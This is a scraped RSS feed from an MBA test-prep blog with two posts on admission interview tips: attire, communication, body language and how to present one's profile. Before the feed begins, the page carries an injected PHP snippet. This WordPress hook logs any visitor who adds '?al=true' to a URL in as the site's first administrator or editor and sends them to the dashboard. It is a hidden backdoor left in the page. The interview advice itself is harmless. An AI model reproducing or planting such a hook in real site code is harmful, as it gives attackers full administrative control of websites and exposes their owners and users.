// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Interview Tips Archives - PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc. http://blog.praqtise.com/tag/interview-tips/ PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc. Sun, 02 Apr 2017 10:43:33 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 http://blog.praqtise.com/wp-content/uploads/2016/08/cropped-logo_praq-1-32x32.png Interview Tips Archives - PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc. http://blog.praqtise.com/tag/interview-tips/ 32 32 How to prepare for an interview for MBA admission- Part I http://blog.praqtise.com/2017/02/16/mba-admission-interview-tips-part-1/ Thu, 16 Feb 2017 13:51:03 +0000 http://blog.praqtise.com/?p=556 “Appearance matters a lot more than you realise!” Samina and Roshni have known each other since kindergarten. Samina has always been careful about her appearance. She had the perfectly put together outfit no matter what the occasion. Roshni has always had a rather laid back attitude. “Comfort first” is the motto she lived by, which[...]

The post How to prepare for an interview for MBA admission- Part I appeared first on PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc..

]]> “Appearance matters a lot more than you realise!”

Samina and Roshni have known each other since kindergarten. Samina has always been careful about her appearance. She had the perfectly put together outfit no matter what the occasion. Roshni has always had a rather laid back attitude. “Comfort first” is the motto she lived by, which meant she was almost slouching and shuffling when she walked and dressed quite casually as well. Both of them were whip-smart and driven where academics were concerned. They didn’t lack ambition, and this showed in the high scores that they both achieved in their exams.

Both of them will be giving interviews soon for admissions into leading colleges for their Master’s degrees in Business Administration. Samina’s preparations are effortless because she has taken into consideration, not only what she will be wearing but her demeanour as well. She is well versed in conducting herself thanks to her attention to details. Roshni, on the other hand, is a nervous wreck because she has no idea how to prepare for an interview. All she has in her closet are ‘comfortable casuals’ with a nonchalant attitude to match. Neither goes well with ‘MBA admission interview’.

‘First impression is the last impression.’

The clothes you pick out to wear say a lot about the kind of person you are and they hint at the respect for the people in whose company you will be. The interview dress code is a representation of yourself to the panel of jurors who are about to question you. It tells them just how seriously you take your possible position. Especially if you are unsure, it is best to be slightly overdressed rather than to be under-dressed. Appropriate attire goes a long way if you want to project a particular image of yourself in the eyes of the panel of judges.

The importance of formal attire is apparent when it puts you a cut above the rest because it influences the manner in which prospective employers perceive you. Your clothes do not need to be expensive or products of big brand names. Clean, fitted and ironed; devoid of stains and creases, crucial when you think of how to prepare for an interview.

A picture that shows three women and two men standing dressed in appropriate business suits for an article that tells you how to prepare for an interview.

Ladies first!

A pantsuit or a skirt suit works well, especially if it fits well and is a bit on the conservative side. It should preferably cover your kneecaps when you sit. Wear a sensible pair of heels or flats. Keep the accessories to a minimum. Use minimal makeup with a straightforward and neat hairdo. Don’t go overboard on the perfume application.

As for the gents!

Here are some grooming tips for men. A clean, white, full-sleeved shirt has never failed a soul before. Put on a dark suit, preferably black in colour or navy blue in subtle patterns. Wear a simple tie with a belt to match. Shine your shoes, wear socks to match the suit. Comb your hair, lose the mohawk for this occasion and trim the facial hair as well. No caps or hats, no jewellery except a wristwatch and you are ready to go!

‘Communication is Key!’

In any relationship, you will hear, and then you will find out through your experience that communication is extremely essential. If you have landed an interview, your ability to communicate will be under scrutiny. This is only fair as you will be working and interacting with others. Your potential employers will want to hire a person who can effectively get the point across in any exchange without putting in too much effort. The interviews will definitely test this ability during the session.

You will be quizzed on your response to certain hypothetical situations, only to gauge your ability to communicate, whether verbal or non-verbal. It is essential that you are articulate.  Stop for a beat and think your response through before saying the words out loud. The key to perfecting a good reply is careful listening. Pay attention to what is said, make a whole-hearted attempt to understand with an open mind, do not get defensive, think about what your response will be and then put it into words simply and clearly in a respectful tone.

It is best to practice in front of a mirror (if your sibling or friend is not around) a session of how to prepare for an interview with you. Excellent communication skills assure the jury members of your ability to work well and get along with your colleagues.

‘Good posture and confident body language is everything!’

All those times you rolled your eyes at your mother when she told you to sit up straight will come back to haunt you. Everyone needs to work on their body language for interviews.

A slouch in place of an erect back whether you are standing or sitting, suggests laziness and an uncaring attitude. That is not the idea you want the jurors to have about you. You do not want you’re body language to suggest that you are detached or arrogant. You should sit tall with your chin up.

Maintain eye contact with who is speaking to you at the moment. Shifty eyes tend to make people think you are not paying attention and it may seem as though you are unsure of what you are saying. You don’t want either reaction, but you must be conscious enough to break off the eye contact because you do not want to end up staring as it may seem a bit creepy.

Be wary of your hand movements. Keep the gestures gentle, avoid quick movements and try to keep your arms to the side suggesting you are open, rather than crossed which make it seem as though you are closed off. Smile a little from time to time and nod your head to show you are paying attention. Make sure your face isn’t deadpan where your facial responses are concerned but try and be careful to refrain from being too expressive at the same time.

Don’t be nervous!

Practice how to prepare for an interview ahead of time if you have a nervous tick, like restless leg syndrome; which is a real thing. Try calming your nerves, taking deep breaths, think of things that can calm you down in case you feel a bout of anxiety coming on.

A picture that shows three women and two men in suits, seated in the correct posture with positive body language.

Keep all these things in mind, and you will figure out how to ace an interview! We have also covered tips for answering MBA interview questions in another post. In case you have anything in particular that you’d like to ask or share, feel free to get in touch.

—

Image Source

1 2

The post How to prepare for an interview for MBA admission- Part I appeared first on PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc..

]]> How to Justify Your Profile for Admission during an MBA Interview? http://blog.praqtise.com/2017/02/05/mba-interview/ Sun, 05 Feb 2017 06:17:24 +0000 http://blog.praqtise.com/?p=529 An engineering graduate, a commerce graduate and an individual with some work experience all walk into an MBA interview for admission. No, this is not the beginning of a joke. It is actually a description of most people who apply for admission to MBA programs. Candidates tend to get terrified at the idea of answering the[...]

The post How to Justify Your Profile for Admission during an MBA Interview? appeared first on PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc..

]]> An engineering graduate, a commerce graduate and an individual with some work experience all walk into an MBA interview for admission. No, this is not the beginning of a joke. It is actually a description of most people who apply for admission to MBA programs. Candidates tend to get terrified at the idea of answering the interview questions. These questions are supposed to be extremely difficult and unyielding. Well, one of the most important aspects of an MBA personal interview is the value you can bring to the industry. In a nutshell, it’s all about you! Read on to know what to focus on during your interview, whatever your background.

The Graduate’s Perspective

Here we offer some tips to all those applying for MBA programs.  These are applicable for freshers from both engineering and commerce streams:

 

  • The Commerce Graduate – More than just Numbers:

If you have a brand new degree in the field of commerce, aiming for an MBA is natural. The first and foremost thing for you to consider is your knowledge base. It must be solid at both, the macro and micro levels. We’re not talking about economics here, rather the overall applications of your field. You should know how to put your knowledge into action.

On the other hand, you must also be aware of issues and aspects outside your comfort zone of commerce. For instance, the understanding of basic IT structures and languages is certainly a plus point. In fact, the same applies to knowledge of current events. Business administration is based on how thoroughly aware you are of each and every aspect and situation related to your business, the industry and the economy in general. Hence, a reflection of that in your answers would be beneficial for you.

 

  • The Engineering Graduate – Engineer an Impressive Persona:

For those of you who are worried about how to present yourself differently in front of the panel – don’t be. It’s not the uniqueness in you that they are looking for, it’s the uniqueness of your approach. Most engineers end up with only thorough knowledge of their subject; it is important for you to look beyond just that, as suggested to the commerce graduates. On the other hand, you also have technical knowledge that you can use in order to gain favour as a candidate. This thorough grasp of your subject is what can make you seem impressive. Most individuals tend to learn things by heart just to pass the exams. If you have the ability to understand every single facet of your subject, you shall certainly stand out.

 

A group of light bulbs, with only one shining brightly, leading the question – “what makes you different?” from the perspective of an MBA interview panel.

What makes you different?

 

Experience Counts – The Experienced Candidate’s Viewpoint

You might at some point consider that pursuing an MBA program might not be the right idea, perhaps because you would end up being relatively older than those who haven’t worked anywhere before joining. However, it goes without saying that you have the advantage of experience. You can use this experience to recount genuine examples and scenarios where certain management principles had to be applied. As the panelists are aware of your profile, they will most certainly focus on the learnings from your experience. Be ready to answer why you are looking for a management program, especially when applying for an executive MBA.

As an executive MBA candidate, then, you should be fully aware of your own abilities and capacity. The interviewers will expect you to know how different organizations function, and how they could function better. Hence, the MBA interview questions are likely to be somewhat retrospective in nature. It is advisable to prepare for them accordingly

 

Some Praqtical Tips for All Candidates:

An MBA personal interview is not a trial by fire; while we do not deny that it is difficult, if you keep certain things in mind, you should be able to get through successfully.

An image of a person looking at the inside of their own mind, expressing the notion of introspection and why it is important, and in this case, relevant to an MBA interview.

Introspection is the Key to Success

  • Think before you speak:

As goes with any interview, you need to think, strategize and only then answer any of the interview questions aimed at you. Analyse the question itself, what it seeks to find out about you – whether it is your knowledge, your skill level or emotional quotient, etc. Then address the superficial content of the question – what does it ask – does it relate to your subject, your previous experience or something else entirely. Finally, you formulate an answer by putting these two together and expressing the same.

 

  • Be Straightforward:

While it is always great to ensure that the panellists do not find you wanting in any way, it is also important that you are honest with them; if you do not know the answer to something, say so. If you do, make sure to give direct answers, rather than beating around the bush.

 

  • Introspective SWOT:

Carry out a task that will be a precursor to what you will learn in your MBA program – a SWOT analysis. Basically, work out your Strengths, Weaknesses, Opportunities and Threats as a person. Introspective understanding scores really high in MBA personal interviews; it strengthens your claim of being an objective and analytical individual.

 

  • Don’t Lose Confidence:

If you slip up, accept it and move on to the next question asked. Do not worry too much about what it looked like when you slipped up, as it could cause you trouble concentrating on future questions as well.

 

  • Be Humble:

The panellists are always looking for people who have their head screwed on right; basically, they want individuals who are not only objective about themselves and the world, but are aware that they are unique, but so is every other person on the planet, and the only thing that sets them apart from the rest are their personal experiences and approach. Overconfidence never helps, nor does an air of arrogance or superiority, especially if it is compensating for lack of knowledge or skill. While it’s important not to undersell yourself, showing too much confidence in your abilities will not do you any good.

 

All in all, there are a few things you need to make sure you consider while dealing with interviews for MBA courses. First of all, remember that MBA interview questions are not meant to torture you; they are meant to test your mettle as an individual. However, the most important point is to ensure that you present only yourself while facing that panel. It’s always about the candidates who are comfortable with themselves, are honest and humble and consistently learning from their mistakes.

What is your approach towards interviews? Can you share any words of wisdom? Please tell us in the comments.

 

Image Sources:

Image 1 Image 2

The post How to Justify Your Profile for Admission during an MBA Interview? appeared first on PRAQTISE - India's most fun, adaptive and personalized online preparation platform for MBA entrance tests like CAT, XAT, SNAP, NMAT, IIFT, etc..

]]>